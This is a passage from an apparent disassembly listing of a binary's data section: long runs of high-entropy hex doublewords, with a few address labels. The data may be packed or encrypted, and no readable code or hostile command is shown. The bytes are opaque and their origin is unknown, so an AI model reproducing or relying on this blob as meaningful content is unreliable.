7F3BB631h, 0F4501BFFh dd 0A406C160h, 0EBD40136h, 481C867Ah, 80604F01h, 9F15B091h dd 1F23E7Dh, 9D1C18B0h, 0C10149C4h, 69CE1C2Ah, 303B44C2h dd 82DECB1Ah, 9BFAECA5h, 0CFBFADE7h, 0C4BF00BFh, 7FABD8D7h dd 0FA7DFC8Ah, 41A26423h, 280356F3h, 4BE529A3h, 0E2C0BA12h dd 15BE17FAh, 0A4D243C1h, 2BA9F172h, 18D52B36h, 41AA4A3Dh dd 6C4912CFh, 1D4E27AAh, 69FE71B8h, 93FCA2Eh, 0CC03BF4Fh dd 4020B693h, 2EDF85BFh, 0A75CC319h, 0BD5FFA99h, 9B78DC74h dd 7D4FCFBFh, 0E3FB59AAh, 0DE7DF79Bh, 0D881F093h, 0C6E8FD44h dd 24D973BDh, 883DF6F8h, 0FFA101F1h, 98A71805h, 0F45A0BD2h dd 5B4DC269h, 0A42CAEBFh, 0C27DAB31h, 33BA64A1h, 729A435Dh dd 32BA52DDh, 3274137Ah, 0E0777E80h, 0A1327400h, 534B5458h dd 0EAC247C0h, 0B00CD7E9h, 29D02091h, 17033D1h, 985D507h dd 34C52C26h, 0F4807AC5h, 6520B68h, 0C0D129A2h, 40C66482h dd 0B00DD2Fh, 183E8C4Ah, 12C6C806h, 84202F1Ah, 95E8BAE4h dd 8247310Fh, 0B8840C89h, 3EF58770h, 8C53E91Eh, 29A45458h dd 0ED3A78E8h, 8A4268D4h, 8D439A55h, 0A1285D75h, 3A9DC021h dd 60247007h, 0F8741D31h, 93423AA7h, 0A2D5D935h, 3D03E041h dd 5562E8FAh, 0CAC04642h, 0C1C0D0D2h, 91D2404h, 71A3EC2Eh dd 0E99E4381h, 0BD6D5990h, 612D0402h, 2C482AC5h, 1E6A1042h dd 0B820120h, 459C997h, 0D217D10h, 0B9D00801h, 0E9322E1h dd 1525960h, 0AAE95A2Dh, 0F47B4AD5h, 2E9FDCEDh, 371C28DCh dd 80C20492h, 0B9D5C75Fh, 0BA9D476Fh, 0D4EC6093h, 0C009D962h dd 0BADD7741h, 1703FBE6h, 3DC1746Eh, 0C37EB7C4h, 0BC5AEAB2h dd 278BBCC4h, 6C388DE9h, 0D48AB1D1h, 6C0F1CEh, 0FFD49BE2h dd 2B910B2Fh, 0AE3EE9B4h, 310A1474h, 414C71B4h, 984B7552h dd 2640A694h, 3944A633h, 0E9743020h, 5A719050h, 325062D4h dd 74423300h, 2C29214h, 2D2C5416h, 8C50320Ah, 6189D12h dd 2429524h, 1A526146h, 2E694ED2h, 76961A21h, 2EA2BD0Dh dd 0B90B63ADh, 4323AA07h, 12A44A95h, 68D141AAh, 32701776h dd 12A98110h, 559E1010h, 51D565F9h, 0DF1F8447h, 3B375AE3h dd 68DA660Ah, 8F1EE0F1h, 0BCFDBBCDh, 427ED09Fh, 5F8A44A3h dd 623BF6A3h, 213FBEF2h, 96A4EFA4h, 5FD97A85h, 0AC9FE7E9h dd 8856BFD7h, 3E4DBDEBh, 7D4FA953h, 0E1669B73h, 0CE44DEF4h dd 9A7E912Eh, 0B764A504h, 0E60AF4CFh, 0A467C5D0h, 89C1E1A0h dd 9571FA40h, 1DD7D1Fh, 0D7983DE6h, 3D6CC84Bh, 0ACF7FF24h dd 7CBDB2DBh, 0BC9A4B45h, 7310C895h, 0B3DAFB38h, 3EE32D6Fh dd 0FF426C6Ch, 527C102Ch, 21167CFFh, 0C9F952D8h, 557035F6h dd 805Dh, 8800h db 2 dup(0) dd offset dword_436000 dw 434Ah dd 1000h, 0 dd 20F32C10h, 32289FF4h, 0A78063B4h, 1184585h, 8533D094h dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h, 0B1261228h dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h dd 141843Ah, 8C190485h, 29A52280h, 23704B08h, 96512D22h dd 4C30E800h, 0D75B9B56h, 8D54E534h, 696C3672h, 0D42B7DE1h dd 0A4D3E812h, 254AB723h, 0E300EEEBh, 0EC418373h, 0E0246204h dd 5355F089h, 12200000h, 0 dd offset loc_437000 dd 76C6434Ah, 1, 0E6920000h, 0FC9720E1h, 99814F4Fh, 86C32751h dd 43F1FA80h, 0F1124DADh, 2492375Bh, 0E40E38B8h, 39FAAC57h dd 0A9F5BE84h, 49B4D069h, 440B61F8h, 0EF756202h, 0AA413FC6h dd 414B9C0Fh, 73BE1CF1h, 1D61FEA9h, 5CA00EFCh, 0FC4311ECh dd 0D042074Fh, 9ACFD271h, 891CD179h, 46806FF5h, 0C8EA17C6h dd 352B4703h, 921DE53Dh, 7E326DCBh, 22219C38h, 570E05FEh dd 0B1324BBh, 3C2E0FAAh, 57E42E05h, 61F0096h, 0BA0C9BDAh dd 84129006h, 0EF1741EFh, 8AC9D3BFh, 6170E017h, 7A9C3720h dd 700FADCBh, 7F7D1E44h, 8BF43E73h, 6DAE1EABh, 58929291h dd 7671208h, 898C48FBh, 11CF59C6h, 4F5B582Dh, 0F2F0543Bh dd 8F82C0F0h, 6BC65C24h, 6815E14h, 97594BCBh, 0E1E381E4h dd 9A333DFEh, 94A78DB2h, 6536A482h, 3B37280Bh, 5D7A96C2h dd 0AADB3442h, 37526C0Fh, 0F5D93466h, 6B03B477h, 0D667AEB5h dd 0BF0AE2C8h, 0A7D838BFh, 35492045h, 10FCCE54h, 9A0857BAh dd 0E74B2CF2h, 8A81DFEFh, 281B83E1h, 753C0F7Bh, 71E005BCh dd 0C6974C17h, 6864A091h, 42CAC7EDh, 91FF78C4h, 0A053194h dd 5985703Eh, 0F660BF73h, 5EB3F2CCh, 8F86313Dh, 6E7F83EBh dd 9FE52E5Ah, 5BB9931Ah, 37EB6860h, 17D0BD05h, 0BD54AC5Fh dd 0DED3AC28h, 0CDB49A02h, 0BB7371Bh, 0A3471E34h, 0CFDB68CDh dd 0F2B418D7h, 0A7CF00ABh, 0E0C34A28h, 662D3987h, 399DCFD4h dd 45F01EDAh, 80CF6713h, 0E610012Dh, 66B8D8CFh, 5B47D8C6h dd 44690C15h, 0B5F11261h, 0F53EC4E0h, 3CF1C79Ch, 0F7E3F0ACh dd 0AFBBBC13h, 0C0F387E0h, 8CAED07Ch, 31A7296h, 6D27EF17h dd 5A0AA350h, 0B1D9DAB7h, 0A870D31Ah, 36B72FA8h, 54514BC1h dd 2FA7438Ah, 0F1B17A0Eh, 0CC7A5EC0h, 0F2A9D12Ch, 0EE5F6735h dd 51045C9Eh, 4A19579Fh, 0C1AB8BFCh, 0A1DB73C4h, 3F1FC28Bh dd 0CC785630h, 0CDA4DD6Eh, 3130BF07h, 83EDA453h, 0B9581051h dd 0E8D5B0E2h, 0EE26FACh, 45F70EC3h, 52CCCBD6h, 0F138D167h dd 1AA3E34Dh, 49B30509h, 85DA689Eh, 1937F730h, 75207654h dd 0DD2939A9h, 60F31C21h, 9EED4661h, 9C6F73Eh, 0A07594D2h dd 5B38A0D0h, 5B99CC53h, 6398BACFh, 602FAB75h, 0F17CD3F0h dd 0C943CBFBh, 62E47141h, 0BA9E33AAh, 0C52A4667h, 7F0F5D38h dd 0C3CBF68Ch, 0FB5D3BC8h, 0B60706F3h, 459D4B7Fh, 0AB369AD8h dd 6A18E36Ch, 0F96A8BE1h, 37387B79h, 80A316E6h, 9B0487E2h dd 0C602356Ah, 8E0F2E3Bh, 78FB9FCh, 0EFC2C107h, 2D69617Bh dd 578070Fh, 22B6ED28h, 0B82BEF4Ah, 7954B329h, 824027E4h dd 0F483DEECh, 3E3B5BD6h, 0F72A4EC6h, 83C7876Bh, 7CF94587h dd 8BE68B60h, 0B6869B3Dh, 0E4FA379h, 87C1D396h, 0EA03965Fh dd 8BA8E042h, 8FAD1B9Ah, 7C39169Bh, 98E75416h, 0D1DA3ADAh dd 0FA0A821Dh, 754E97F9h, 0CB8874ECh, 2A5C1D77h, 17C6A729h dd 0EA4DB5A8h, 2FDE5BF4h, 29D3DE3Dh, 0DF845F8Ah, 73A00C9Ch dd 7B003D72h, 473A29B8h, 0FA1E5606h, 10AF3BB8h, 0A7D7EADFh dd 494C7741h, 0BDB7CC4Ah, 52FCC0F2h, 0B68B6DE9h, 9CCC2E1Eh dd 0F7763505h, 855FFD0Fh, 0F3BB52A7h, 8C0469B2h, 3333CFF4h dd 0E078CCC3h, 8D85EB31h, 0A024C52Eh, 3911DCD7h, 2C1154E7h dd 452116CCh, 7F386E1h, 70F48C36h, 93A7F394h, 0B95B81DBh dd 9EFC3F0h, 4E101381h, 59FEEFA9h, 0A6E967B7h, 5F73B6B2h dd 374A4C92h, 7323A5F9h, 709CEF4Bh, 225386B9h, 1F2D1D04h dd 0B5151009h, 1492D716h, 2A0C27D7h, 4DCC73Ch, 15A510FCh dd 9C4FCB62h, 22D99626h, 10079B43h, 4DA376E2h, 1BFABD5Dh dd 0BF51BCCh, 94F62ED7h, 0F0EB01D9h, 0A7C11F81h, 0D1482F2h dd 0F2FCE1C5h, 0F3C6B7EEh, 88CFC52Bh, 7F11089Eh, 0B835461Ch dd 682BDEFEh, 6CC0411Eh, 0B4BBD8A1h, 1BFBCE88h, 736B5A89h dd 71CC5436h, 6393817Fh, 8861A6FDh, 0F5119DCCh, 0C3ADF150h dd 80AD4B7Ah, 81E2328Dh, 0FAB9F67Dh, 0F339C8A7h, 542DD816h dd 0BC764D19h, 99E71148h, 5226BAF3h, 90F14949h, 94DB309h dd 0C06B507Bh, 0AD2888ADh, 3A7F2C9Eh, 7F379872h, 378A6BE9h dd 325DC3E9h, 0F1328BC4h, 0D8AE9C3h, 48C437C3h, 3C9B9298h dd 6F6446BCh, 0AADE1050h, 0F1AAD668h, 0D4ABC2DAh, 1102800Ah dd 0DB8B8259h, 66E15FF7h, 0C60768F9h, 0F3C6131Ah, 0FC4E91FAh dd 0D50D6E10h, 9CC2764Ah, 205F6DDBh, 62E85823h, 6B38BEB3h dd 37CABF43h, 150585C0h, 65C71DD8h, 0EDB269CEh, 0D607F4DDh dd 89D4579Ah, 0D375E5A8h, 0F65324E0h, 4CFB92ACh, 0D3CEF788h dd 9620A06Bh, 0FA022169h, 7EBBDBC5h, 9F17241Fh, 1F9F47A6h dd 79D01B0Fh, 0AE99000Ch, 0D63597AFh, 0A78544AAh, 0BBB7330Ah dd 7462E76Bh, 0C269A227h, 3A99D876h, 5078C9E0h, 700E38DDh dd 0D1938BFh, 10A6FF32h, 1F1B87FCh, 0D7FB092Dh, 51E8AB83h dd 81369F4Bh, 0FA043C6Fh, 0CC515288h, 2D93EDA3h, 0BB7A060Bh dd 5B43A1D5h, 89C39AC6h, 88B894A6h, 39CE94BDh, 0E0151970h dd 21FB4C56h, 0BAAC96F7h, 42F86238h, 0F05B2313h, 4E3C0747h dd 19D10D05h, 15A6C43Fh, 0E5D5D22Ah, 70EF8EB6h, 685C95B4h dd 58B9D55Eh, 26A0CD29h, 0B6AC528Bh, 0CFC0973Bh, 0B381D2D9h dd 0EC14BE9Bh, 0FAD84E6Ah, 0D50BBD78h, 47E3F74Fh, 6A9BE10Ah dd 0DD491102h, 2DAD1422h, 6D19F39Fh, 27EBFE54h, 0BADFC6A6h dd 8F245005h, 32FBBE5Ah, 0E2CF5B84h, 0C705DDBEh, 37BB05F9h dd 86A59299h, 0F1546BC2h, 37BB0181h, 1644F33Bh, 0B5873507h dd 2979ED42h, 4F118A3Ch, 34BCFAEAh, 2CA7AB62h, 0C4AB91CCh dd 58F0721Dh, 0A330BB10h, 0AD4ECA11h, 81F0E95Fh, 0E2141229h dd 177996ECh, 0F8A2EF49h, 6893EF0Bh, 8950A559h, 0D957B8A6h dd 5910690Bh, 787171B6h, 3EF8EB4Dh, 3E7CEDA8h, 0F20BA8A7h dd 0D43B9976h, 9FF0526Bh, 0F26F87FAh, 0E76412Fh, 0DE495D78h dd 782ED56Ah, 258ACB44h, 5FE7BAF1h, 3CD27E15h, 3B1FDA55h dd 66A801CDh, 3F0781F1h, 0D9CA7BF8h, 23D684B3h, 4ACEB8EEh dd 0A0C1A583h, 4CA05EBCh, 0AD62C2C1h, 0DCEF7AF6h, 0D5B057CFh dd 72DD6F7h, 0E72569E3h, 938D5876h, 0E0A26D69h, 0F46D0287h dd 0E63B52C6h, 6B93DFD0h, 35D1902h, 5F3C0FF1h, 9696E16Ch dd 98092263h, 0DE2BA23Fh, 6997C1E6h, 0AD52D3A4h, 0BD50E87Eh dd 50615C5Fh, 55FC9CB4h, 0C312E7F5h, 783C0FDFh, 8E7ABAEFh dd 0D2D1783Ch, 394469C1h, 935180CCh, 37B928Dh, 4A8435A2h dd 2CD25436h, 0B913277Dh, 19F795AFh, 0D7A62F01h, 792487DBh dd 688C6D16h, 756981A1h, 0EE6BD116h, 5020049Dh, 0C0417978h dd 0F51C2D90h, 5313CBF0h, 0E3605B0Fh, 98B303ADh, 7CADB06Dh dd 0D50B2C6Ch, 5168114Fh, 0CA11BD58h, 0BB7681FDh, 3B149034h dd 0EB663DABh, 0A968EF8Dh, 25F82B03h, 3F56F144h, 11FF1AD1h dd 48BDD37Dh, 0BA81281Ch, 69BCDA5Fh, 6F4205EEh, 28F2A007h dd 9AA1513h, 0DFA28CD3h, 0C04CAB09h, 0C168090Fh, 77716201h dd 9C84905Fh, 48B8AC2h, 17931EA7h, 6D3797F8h, 329D0A2h dd 0C754467h, 8C190205h, 86476E89h, 9EFF59AFh, 4A39F30Ch dd 607BE382h, 0EF1E8BE4h, 937DB3EDh, 0F620665Fh, 81D8BE4h dd 1F878912h, 1A40476Ah, 9A6FF0CEh, 4943A8ACh, 0FECEF679h dd 0B2E58769h, 9C62F155h, 0E0FA9988h, 0CBD9D519h, 19986BFAh dd 0F22DC084h, 11CE8543h, 5591A0B9h, 0EE73DB37h, 98314C8h dd 68A6D221h dd 4502511Ch, 9236980Bh, 8B63531Bh, 853619CAh, 9AC22F58h dd 0B538D51h, 0DCC59C07h, 0C1535FF5h, 0D61B07ABh, 0EA3004A1h dd 837CD5BBh, 91BD140Fh, 0C0180528h, 6B922384h, 892783EFh dd 0A27367D9h, 0A5C5D2Ch, 38B4278h, 705616DBh, 2DC8E8A9h dd 8A02ADD7h, 6C204494h, 2E2A7AEh, 6803FA39h, 92C9DDC1h dd 0FEBF8111h, 13298F25h, 0A8A6D5EDh, 0AC984D4Fh, 0F7E5A566h dd 0EF6ACD17h, 36B6247Bh, 56E3D696h, 0B30A281h, 9FAADF26h dd 29868A07h, 0C7552D13h, 23CA6EF4h, 0FD508066h, 0B6CEDC5Ch dd 414BAA8Ah, 8699421Eh, 0E7DE3672h, 6143FEDAh, 0B6DAA1AAh dd 92B7C9E6h, 0BB3866B0h, 133FA0E3h, 4FA47E36h, 562574ECh dd 74801B02h, 72AD04D4h, 4CAFB79Dh, 0DBC285CDh, 0D11A6AD1h dd 0EA6C2C68h, 0B90AEBA2h, 83EE6883h, 481F5004h, 3C7AA6FBh dd 8B135408h, 0DB048EF4h, 20360207h, 8610A446h, 0D5DCC46Ch dd 34AE057Dh, 2DF096Bh, 0C617BD92h, 5B5DBA9Ah, 6CE89990h dd 2FF03411h, 0E7658C9h, 0DF03FC0Dh, 8503B9FAh, 95977C6Ch dd 0D7F0299Bh, 2A92715Ah, 6D9F942Ch, 19615440h, 0E1E0FF77h dd 464510E5h, 6B9D0FCh, 0F1B1CCE2h, 0F7D3166Dh, 4D1A39BAh dd 98165D74h, 0EB0E9C2Ch, 0F814CE79h, 0EE24DD7Eh, 0CD45DDA1h dd 50AD595Ch, 344C6111h, 6C9AA2DDh, 9C5CC0Dh, 52D0F0DFh dd 11B47292h, 39CBE747h, 0D18147AAh, 0A9FF466Fh, 6F27ABFBh dd 0F9E9191Ch, 28904735h, 1615C38Bh, 0D8C8951Ah, 510DABEh dd 750A7395h, 0D1E94847h, 3FFDAE2Fh, 92429170h, 34520893h dd 579BF43Dh, 0D591A8EBh, 9B471496h, 0F313A5F9h, 0FC2EF896h dd 446058C0h, 0E4B6BD6Ah, 5443EE4Ah, 5E926A2Ch, 0DCDEF058h dd 0EE95CC37h, 0EB3247F3h, 0D59DF1EBh, 0D5EE0B4Ch, 0EC2CD604h dd 0A739211Dh, 61B8D067h, 0C8B583E0h, 0A2E39ED9h, 0DAAA7666h dd 3AD26930h, 94FB77F7h, 0DB12A63Dh, 230F1592h, 3F835BC6h dd 0DD5FC4FCh, 0D6E785FEh, 574D17A1h, 0DFF6D180h, 0AD2CC002h dd 79005A14h, 7859624Ah, 0C936B7A7h, 49821C90h, 0C32AF357h dd 9ED7C982h, 39122891h, 9B9E42AEh, 77CCB825h, 2C7884BEh dd 36849026h, 581629C0h, 74D426BCh, 0AEB4E260h, 0FC76F163h dd 5B670E78h, 0CCB11526h, 79FD7B50h, 6150C9D0h, 246439E0h dd 0B11E453Dh, 0E84A74ABh, 0EA730928h, 5282C332h, 0B2DA134Dh dd 39670D51h, 46922AB6h, 0C237BD0Eh, 5024C942h, 1085B90Dh dd 0C769C077h, 0FB30FF41h, 0A7BF78C5h, 83D7C46h, 4EA98212h dd 2447D9Ch, 0B7122482h, 0B17221Fh, 5B614F04h, 157255F4h dd 0D90F958Bh, 0F1B8E4B2h, 0B385C9E8h, 808FB892h, 7A30D839h dd 912A40D4h, 60633CFCh, 2D30D715h, 0EBE03B43h, 7890C4C1h dd 0A3D8D3CBh, 0AC5837Ch, 0CE10A561h, 2C988DD8h, 69F3CEAFh dd 0F2BE8FC7h, 0F5E621AEh, 5EE2280Eh, 187890FCh, 1BE17E09h dd 4DDE55A2h, 8C8F540Eh, 4FA98E1Fh, 9504F882h, 82D117C2h dd 0CB299DFFh, 6785C0C4h, 97EEBCAh, 95052532h, 0DDB542E5h dd 951ADC7Eh, 0E1DA0CCEh, 0C5C5BF80h, 5ACD2EFFh, 920E64EFh dd 83C6C67Bh, 4A597D7Bh, 68728260h, 0E2072173h, 0F08ADA96h dd 0D29D50C4h, 0A54F5A35h, 51B3645Dh, 993546FFh, 8CDAFD34h dd 0FF76B6D0h, 0E8480E92h, 7D71ABDDh, 0D1468A70h, 2CD400F5h dd 35B34CFAh, 8EEB3BFFh, 0D4EDCDC4h, 97A76E93h, 0F96D1ECDh dd 7C87D77Fh, 7290B094h, 0AE8BA81Fh, 78EEAE1Ch, 48DBD850h dd 0BD612051h, 635232BCh, 7EDF22Bh, 7D3FEA8Eh, 30F2A5CEh dd 2319533Eh, 0CB2A7222h, 61CA07D8h, 67203520h, 5A9C5A54h dd 0E7719C6Ch, 140A87C2h, 0E7EDE96Eh, 58A44A2Dh, 84C53A41h dd 9C470795h, 2D9A80CDh, 2A9BE55Dh, 0BFACA92Dh, 4BB1392h dd 0EBEEFDEh, 0FC363BE7h, 62152293h, 0A1D8C4D8h, 34F3F17Ah dd 1A6A774Eh, 48B07C37h, 0EFC6DF03h, 63473B01h, 2C5F0EB4h dd 0EC502B35h, 7B654D5Ah, 0DD3B94CEh, 0D754E083h, 2FD38BFAh dd 87E3C097h, 0DC6653B8h, 0E0EAAB8Bh, 0D1516703h, 0FD23433Eh dd 94EA3CCEh, 945BFFA5h, 968863A4h, 785F9A32h, 0E3E75E32h dd 73C4F174h, 0F84D3041h, 4EF8F3A8h, 0B6F1B1C8h, 0DC8A206Bh dd 9E70050Ch, 0D5305F3Dh, 46A30654h, 300B3DF9h, 0F547A501h dd 51FB31Fh, 422F0BC7h, 9F75B48Ch, 5D92121Bh, 0C4C1B809h dd 0A1989C5h, 1836919h, 0DE48160Ch, 0FD520FDBh, 0E3CBED1Dh dd 0CE4E92CDh, 715D1F5Eh, 0BA6D5E83h, 26FCED5Ch, 1C6D86D5h dd 6C852BD8h, 0CD526846h, 0A8854093h, 9D6291FDh, 3635FDD4h dd 0E6398E27h, 0C56626D2h, 0A078677Fh, 0EB1ABC7Ch, 0CAC4EFA1h dd 95A59B98h, 8A4A7371h, 0FA8BBCDAh, 0D654D1C7h, 0BFB51129h dd 4EA9557Ah, 0E3622A4Bh, 17EC4426h, 845A0687h, 0B8A7A8ADh dd 0EC873557h, 0CEBFA95Bh, 0C38904ECh, 7CAF5B35h, 165CE07Ch dd 9720CC8Eh, 862ED53Fh, 9EA19501h, 48FAEB34h, 28BC3BE3h dd 16F98CAAh, 478343F0h, 0ABE283C2h, 0B679BD58h, 6FF60116h dd 68A8561Ch, 46558767h, 9785CBA0h, 25708090h, 0ED196284h dd 0A7915124h, 0A2A1E2C0h, 525FDABDh, 0A6E693E8h, 0E7723DE8h dd 0BE1F1F8Bh, 5A550400h, 55088D01h, 6D182415h, 996FDB2Dh dd 6861714h, 0FEB9F0D4h, 828E8DF9h, 0C0F0545Ah, 6F95CF42h dd 19B1695Bh, 0D2ACDD70h, 4F02F516h, 0C9283988h, 0A81DD1FAh dd 0CDE776DCh, 320F61A4h, 0BE022F7Bh, 0AE4209B4h, 0FBCC2FB3h dd 7E96317Bh, 143A54FBh, 8F27F6CAh, 0C9856BD2h, 553A9BB1h dd 2B3238DFh, 0B7398D3h, 0DE8AB43Fh, 0E350BD85h, 0F5B4B81h dd 56297992h, 0EED9E2A6h, 84F1368Ah, 2214C6F4h, 69C36AC7h dd 0A3991835h, 0C0D51236h, 0B7A10591h, 874D60C8h, 0AB4765BCh dd 15FE5F97h, 0B8DE4660h, 0E51EDAA9h, 0A4F27C0Ah, 5A131749h dd 9EAAD742h, 0D286CA1Fh, 0FAEB7EDh, 0D0BD814Fh, 0F9CE94BEh dd 675F357Dh, 5AC4D888h, 66F4EB52h, 0D6D5F09Bh, 43A6F041h dd 0CC7D101Ah, 0B8E57116h, 0C617F632h, 942912E1h, 79B21FE8h dd 7207AA5Ah, 92FFC0FCh, 16D9BBF5h, 5D659DD7h, 0A275A604h dd 0A0D0DD42h, 30D8E46h, 7C2BC29Bh, 0E78980A2h, 0D9D82059h dd 6FB62237h, 389C55A1h, 749CAF02h, 0CB17CE33h, 0E7FCFADCh dd 0B472C22Fh, 0DFF67961h, 5696FC7Eh, 943173BDh, 11276AC4h dd 55EC2EDDh, 2958CDFCh, 0F8AAC057h, 0FBB5A41Bh, 0FAD7F93Bh dd 0E9355B2Ah, 3D6B703Ch, 524B63F1h, 18ACF43Eh, 0B2624855h dd 3D39296Ah, 0D27FE904h, 0BA7B7885h, 585A78B1h, 0F3D8DA55h dd 2A767248h, 0B7E73606h, 842E89E4h, 0BD469DADh, 0DB793B30h dd 0B601594h, 325F7D1Eh, 7C6B84E6h, 28FE1A50h, 0A82C431Fh dd 0EA2683ECh, 7D501B82h, 0F772EAC8h, 219BF0ADh, 26DDE8A3h dd 2E81AA2Ch, 0F2216D5Eh, 107CF8C1h, 0A0A30019h, 0A87FD443h dd 0CF62C1DDh, 0C01174B8h, 0D70724E9h, 0C0FEB60Ah, 3C9C8104h dd 79DC38D3h, 0ACCCE01Fh, 813E31B8h, 0AFFB3BBAh, 0C0F88A0Ah dd 0AB4743A3h, 4A187F1Dh, 53F93782h, 4B2DA239h, 0C6A74C2Ch dd 0F39B9DEBh, 12BB2299h, 0EEF8AA49h, 26B7240Ah, 0E563D578h dd 529EECA5h, 0FC50230Dh, 0CA6B75DAh, 0C1E02C2Bh, 0E60FF485h dd 0C497745Fh, 0C0308118h, 59E9F862h, 75761171h, 7A4D9AE7h dd 7728F2C2h, 6E115048h, 7DDDA4Fh, 0CF41486Ah, 3085667h dd 99271124h, 0C4CA7E22h, 69E55230h, 206F8207h, 0FDC2E0F8h dd 820BDE98h, 0DE2D7363h dd 86F0FC18h, 63301D4Bh, 6F1D450Eh, 3E4D5494h, 0BF2E4CE6h dd 0BAC06005h, 0B0AD9DD9h, 1302F0A9h, 527EBD03h, 34EBAD28h dd 0BC0B7FF4h, 33E64661h, 527726EAh, 9B554B54h, 7609FA04h dd 610525F0h, 0AF5F085Eh, 0D6D421ACh, 0F803CAh, 6D3AB276h dd 9A099DFBh, 0D306C5EFh, 5714029h, 71FA5EA4h, 0C59529A8h dd 949C8DA2h, 0BDCEAAE3h, 5FD33C3Eh, 7B282248h, 1EE26FCFh dd 583C6A0Dh, 70FCFE1Bh, 782CF2F6h, 9B601EA9h, 50DC767Eh dd 8119BE5Fh, 7C502BDFh, 99355AE5h, 0D1BF7578h, 0F6EBE56Ah dd 26B98A79h, 6AFC8A6h, 1B731297h, 0FB9BAA15h, 0ED1F76C5h dd 40B16085h, 5C9B165Bh, 7041A170h, 2C976E31h, 0D217CFA9h dd 0AB95BFBh, 712542B0h, 688B3A1Bh, 39456B39h, 0B7727BF0h dd 1BCC226Ch, 10C9508h, 0D0581FC1h, 5769896Eh, 8C29C0BCh dd 0AD97D604h, 6CBF7672h, 64C7984Dh, 7AB8CAA5h, 17D7A946h dd 3180BE9Eh, 0F6AE44A3h, 4ADE19AFh, 0CF8682FDh, 0F203CF2Ch dd 6D68957Ah, 0C4575BE8h, 58C24A0Bh, 3025E2B4h, 0FA65C6DEh dd 4FBFF938h, 0ED81DDABh, 2E245B79h, 0DFE38FC6h, 0B0A0FDFCh dd 0BDAF1571h, 6BB3FD5Ah, 0ADCD5497h, 0C102A79Bh, 51CA4B71h dd 4E732009h, 88027099h, 628C2A81h, 70B5BEBEh, 762245E2h dd 0F6B77F54h, 0F122D39Dh, 0C685210Ch, 988712FAh, 0F1C80773h dd 99FE069h, 5D630ABDh, 0C886EFA4h, 73A5C0D1h, 0F3BBC202h dd 9769E842h, 510A04DFh, 383D4E86h, 7C75ABDAh, 0BFA47DA6h dd 5FCF39FFh, 1F2653B4h, 3AF121ECh, 0E95C5F8Fh, 3699EBA4h dd 746AFF1Ch, 0FD63FB0h, 0C44DA467h, 6E353D8Dh, 795BD622h dd 629ED849h, 3FE1459Ch, 0B7504D58h, 0D07E372h, 0CF717AB4h dd 58537CDFh, 4A656529h, 0E2F854E3h, 7BAE7B78h, 30F446D7h dd 0EFD6743Ch, 3C7490ABh, 82A9CE60h, 5A39080Ah, 9E9152ABh dd 2257332Eh, 70A75E80h, 68DC3DBBh, 0CB4F868Dh, 0A18F705Eh dd 0D5AF8DB1h, 0B4599F26h, 0CAA97278h, 0A5C9F62Ah, 4FF77DE2h dd 2923A501h, 0CEAFE2BEh, 0D4CB295h, 0A9DD2E8Dh, 0B704BC83h dd 0CD73D281h, 64BCF81Eh, 7FB890FCh, 530FF8E1h, 0EBB4EF11h dd 94B8D814h, 830F6A2Dh, 0BD4036D3h, 5C6BC5E0h, 753F991Bh dd 2F14AF9Dh, 0ED1EAB47h, 0A82530DFh, 57890E16h, 0D17F5604h dd 3DCC6A9Dh, 34D30103h, 4EB35A3Bh, 0DA7B7755h, 323F976Fh dd 0F2D1561Eh, 0D46D78D4h, 615C712Ah, 949CE09Bh, 11EF08A1h dd 0E67F0F4Eh, 0A984BBCBh, 55E07559h, 216C9715h, 0D13BF9DDh dd 61C194EAh, 0B025DAB1h, 2CC491FEh, 0EC756919h, 7B9E99A9h dd 0D6AC801Ch, 0C39E0567h, 0AAA18DCFh, 8F8008A5h, 56E8435Fh dd 4906AC6Bh, 8FDBC095h, 833E661Fh, 6C56F096h, 0DCBC56E8h dd 6EB3965Ch, 0E0D6A4ABh, 0D0373E14h, 431195BDh, 45B07337h dd 0AEBA5CC6h, 6A2E0782h, 4F82A563h, 53EE381Eh, 0B1300C4Dh dd 89FBAD5Ah, 0DD6858E7h, 0B134ED9h, 3EE89DAh, 689AE45Bh dd 85A99A65h, 7E2AF69Ah, 0FC9F268h, 0F2B1B564h, 4B359F1Dh dd 6C36066Fh, 712DDF7Dh, 1F83088Eh, 16CA0EE6h, 7BB598C9h dd 6B6A47C4h, 0B65CAA6Bh, 5BE4912Fh, 2B1D0A7Fh, 3AA845CDh dd 0DCE2EC71h, 0C0205A32h, 4AB37A3Ah, 0E336C1A0h, 0AAF85913h dd 3AE2D24Dh, 5D1BFC0h, 0CDA77A19h, 0F04309ECh, 208903D7h dd 6A0D6FDEh, 154B17Eh, 0C874A429h, 8B66D10h, 7A12372Eh dd 3B980BA3h, 51B808D7h, 99F19997h, 5041782Eh, 66EC9585h dd 8A967CFEh, 4F404C98h, 0CAB48EE0h, 0BB6E629Bh, 0FBBEAE7Ah dd 0F078C061h, 7E0BD8CAh, 88AF128h, 74806BF3h, 6E1C962Dh dd 0CD75BF55h, 19613F0Fh, 5E6E8B89h, 154854F8h, 173F30D5h dd 57E787EBh, 27D3424Dh, 0ACF24F13h, 0E8B7BA8Ah, 6D998C4h dd 0F65BCD64h, 0F8D219C5h, 52B192E3h, 70BCEAF4h, 0FC53E9B1h dd 6B510FEFh, 0F23D32B8h, 7BAABD8Ah, 95B7A9Ch, 967855ECh dd 57B8149Eh, 0B4B91476h, 65D11F0Ah, 19C6D192h, 195125A8h dd 0D1E28D3Fh, 28B54031h, 7E22CEDCh, 6CCFA58h, 6781BD24h dd 60C7E626h, 94A9F85Ah, 0F6471DCEh, 0F872DA22h, 0A49D42F4h dd 0F0F19CDBh, 9A900AA8h, 4A6CAECBh, 2B454A76h, 19526B75h dd 0CAEB06C1h, 38669C37h, 3B7C72EAh, 286EC126h, 707DBDFCh dd 0CC8ED425h, 8EE8B3B8h, 0CA5A555Eh, 9F31221Ah, 0EAF937FBh dd 0F4F052ECh, 9C23D081h, 7CF63E8Bh, 0B54A4F7Fh, 980DC8h dd 0C9E1F3C8h, 0BC1100F9h, 7E45B7E7h, 0E2DDCF45h, 132FDED4h dd 0E261462Ah, 0BC2FE0F3h, 1AD7BB8Dh, 855B595Fh, 0F5727314h dd 0B72F3968h, 780FAF3h, 0D8CF6C3Fh, 4672EA6Ch, 0E914957Dh dd 0BF4C33Eh, 5B8E5D0Fh, 85AD6E10h, 35D2508Ah, 